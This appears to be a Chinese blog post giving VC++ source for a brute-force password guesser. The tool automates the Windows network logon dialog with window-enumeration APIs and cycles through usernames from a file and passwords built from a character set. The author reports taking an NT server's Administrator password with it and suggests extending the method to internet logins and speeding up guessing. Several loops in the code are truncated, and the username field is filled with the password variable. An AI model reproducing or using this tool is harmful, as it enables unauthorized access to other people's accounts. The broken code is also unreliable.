Windows网络用户登录密码的猜解 (VC++)

Windows网络用户登录密码的猜解

http://dev.21tx.com/2001/05/31/10224.html

 

 

Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()GetNext-DlgTabItem()GetWindowLong()定位网络登录窗口上的各个控件。利用SendDlgItemMessage()SetDlgItemText()来输入用户名及密码。利用SendMessage()发送确定消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。

 

 

 

一、猜解过程流程:

 

为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.LockMutex.UnLock之间的代码只允许单线程访问。密码枚举完是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。

 

下面给出关键流程的源代码(程序流程见图1-1)

 

 

 

 

 

1 全局变量:

 

struct _Thread

 

{

 

CWinThread *pThread;

 

};

 

_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数

 

CEvent gEventNextPass;//取下一个密码,为实现同步引进

 

CEvent gEventPassOk;//已取得密码,为实现同步引进

 

CEvent gEventNextUser//取下一个用户名,为实现同步引进

 

CEvent gEventUserOk;// 已取得用户名,为实现同步引进

 

CMutex gMutex;//互斥量,只允许单线程访问

 

char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。

 

char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名

 

 

 

2 线程启动:

 

{

 

file://密码枚举线程

 

if(PassTread[0].pThread==NULL)

 

{

 

PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,

 

THREAD_PRIORITY_LOWEST);

 

PassTread[0].pThread->m_bAutoDelete=TRUE;

 

file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多

 

}

 

file://用户名枚举线程

 

if(UserTread[0].pThread==NULL)

 

{

 

UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,

 

THREAD_PRIORITY_LOWEST);

 

PassTread[0].pThread->m_bAutoDelete=TRUE;

 

}

 

file://窗口枚举线程

 

for(int i=0;i<>

 

{

 

if(WindowThread[i].pThread==NULL){

 

WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,

 

THREAD_PRIORITY_LOWEST);

 

WindowThread[i].pThread->m_bAutoDelete=TRUE;

 

}

 

}

 

 

 

3.窗口及子窗口枚举

 

UINT ThreadProc(LPVOID *pPraram)

 

{

 

while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}

 

return 0;

 

}

 

 

 

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)

 

{

 

char lpWinTitle[MAX_LINELENGTH];

 

::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);

 

if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名

 

{ gMutex.Lock(INFINITE);//防止两个线程同时操作

 

while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));

 

gMutex.Unlock();

 

return FALSE;

 

}

 

return TRUE;

 

}

 

BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)

 

{

 

char sChildName[MAX_LINELENGTH];

 

::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);

 

file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的

 

file://各个子窗口

 

// 的属性。通过对比各控件的风格或名字来区别各控件。

 

if(strcmp(sChildName,"Edit")==0)

 

{

 

DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);

 

if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件

 

{

 

gEventNextPass.SetEvent();//发送新密码事件

 

WaitForSingleObject(gEventPassOk, INFINITE); file://等待密码完成事件

 

gEventPassOk.ResetEvent(); file://复位

 

::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

 

file://把新密码填到密码输入框,也可用SetWindowText()

 

bPass=TRUE;//记录密码已填入

 

if(bUser&&(hOk!=NULL))//如果用户名已填入,确定按钮已找到。

 

{

 

::SendMessage(::GetParent(hOk),WM_COMMAND,

 

(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

 

file://确定按钮送消息,参照ClassWizard的消息映射

 

bUser=FALSE;bPass=FALSE;hOk=NULL;

 

file://完成一次登录,初始化

 

return FALSE;

 

}

 

return TRUE;

 

}

 

file://非此即彼,这是用户名输入编辑控件

 

if((dWinSty&ES_READONLY)!=ES_READONLY)

 

{

 

::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

 

file://把新用户名填到用户名输入框,也可用SetWindowText()

 

bUser=TRUE;// 新用户名已填入用户名输入框

 

if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。

 

{

 

::SendMessage(::GetParent(hOk),WM_COMMAND,

 

(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

 

file://确定按钮送消息,参照ClassWizard的消息映射

 

bUser=FALSE;bPass=FALSE;hOk=NULL;

 

file://完成一次登录,初始化

 

return FALSE;

 

}

 

}

 

return TRUE;

 

}

 

file://如果是按钮控件

 

if(strcmp(sChildName,"Button")==0)

 

{

 

char sChildTitle[MAX_LINELENGTH];

 

::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);

 

if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;

 

// sButtonOk:登录窗口中“OK”按钮的标题

 

hOk=hwnd;//记录“OK”窗口句柄

 

if(bUser&&bPass)

 

{

 

::SendMessage(::GetParent(hOk),WM_COMMAND,

 

(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

 

file://确定按钮送消息,参照ClassWizard的消息映射

 

bUser=FALSE;bPass=FALSE;hOk=NULL;

 

file://完成一次登录,初始化

 

return FALSE;

 

}

 

return TRUE;

 

}

 

return TRUE;

 

}

 

 

 

4.用户名枚举:

 

UINT GetNextUserF(FILE *file)

 

{

 

char cUser[MAX_LINELENGTH ],*token;

 

FILE *fUser;

 

int i,flag=0;

 

if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用户名的路径及文件名

 

{

 

MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);

 

if(fUser!=NULL)fclose(fUser);

 

return 0;

 

}

 

while(!feof(fUser))

 

{

 

for(i=0;i

 

if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))

 

{

 

bCheckUser=FALSE;//记录用户名枚举完

 

fclose(fUser);

 

return 0;

 

}

 

token=strtok(cUser,SETPRATE);// #define SETPRATE " /t/n/r"

 

do

 

{

 

WaitForSingleObject(gEventNextUser,INFINITE);

 

// 等待新用户名事件

 

gEventNextUser.ResetEvent();//复位。

 

for(i=0;i

 

strcpy(cCurrentUser,token);//改变当前用户名。

 

gEventUserOk.SetEvent();//发送用户名完成事件

 

}while((token=strtok(NULL,SETPRATE))!=NULL);

 

}

 

return 1;

 

}

 

 

 

 

 

5.密码枚举:

 

UINT GetNextPassL(LPVOID pParam)

 

{

 

int i,j,iPre;

 

char cBuf[MAX_PASSWORD_LENGTH];

 

BEGIN:

 

for(int m=0;m<>

 

{

 

file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表

 

file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成

 

file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码

 

file://组成字符集合列表的列表

 

file://例如:4444:表示生成密码为“dddd”

 

file://4231:表示生成密码为“dbca”......

 

cCurrentPCList[m]= iCharCount;

 

// iCharCount:密码组成字符的字符个数

 

}

 

while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束

 

{

 

for(int n=0;n

 

while(1)

 

{

 

for(i=0;i<>

 

{

 

cBuf[i]=cCurrentCharList[cCurrentPCList[i]];

 

}

 

WaitForSingleObject(gEventNextPass,INFINITE);

 

// 等待新密码事件

 

gEventNextPass.ResetEvent();//复位。

 

for(int n=0;n< td>

 

strcpy( cCurrentPass,cBuf);//改变当前密码。

 

gEventPassOk.SetEvent();//送密码完成事件

 

file://进行cCurrentPCList数组的处理。

 

if(( cCurrentPCList[i-1]--)==0)break;

 

}

 

file://最后一位复iCharCount;

 

cCurrentPCList[i-1]= iCharCount;

 

iPre=1;//借位标志

 

for(j=i-2;j>=0;j--)

 

{

 

if(( cCurrentPCList[j]-=iPre)<0)

 

{

 

if(j==0)break;//结束。

 

cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。

 

}

 

else {iPre=0;continue;}//不必再向上借位。

 

}

 

}

 

if(cCurrentPCList[0]<=0)

 

{

 

file://复位,进入下一个循环。

 

if(!bCheckUser)//如果用户名枚举完

 

{

 

MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);

 

return 0;

 

}

 

gEventNextUser.SetEvent();//发送新用户名事件

 

WaitForSingleObject(gEventUserOk,INFINITE);

 

file://等待用户名完成事件

 

gEventUserOk.ResetEvent();//复位。

 

goto BEGIN;

 

}

 

return 0;

 

}

 

 

 

二、在局域网及互连网的应用:

 

笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及确定按钮。

 

 

 

三、存在的问题及解决办法:

 

10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过资源管理器同时打开多个网络登录对话框(从网络邻居只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值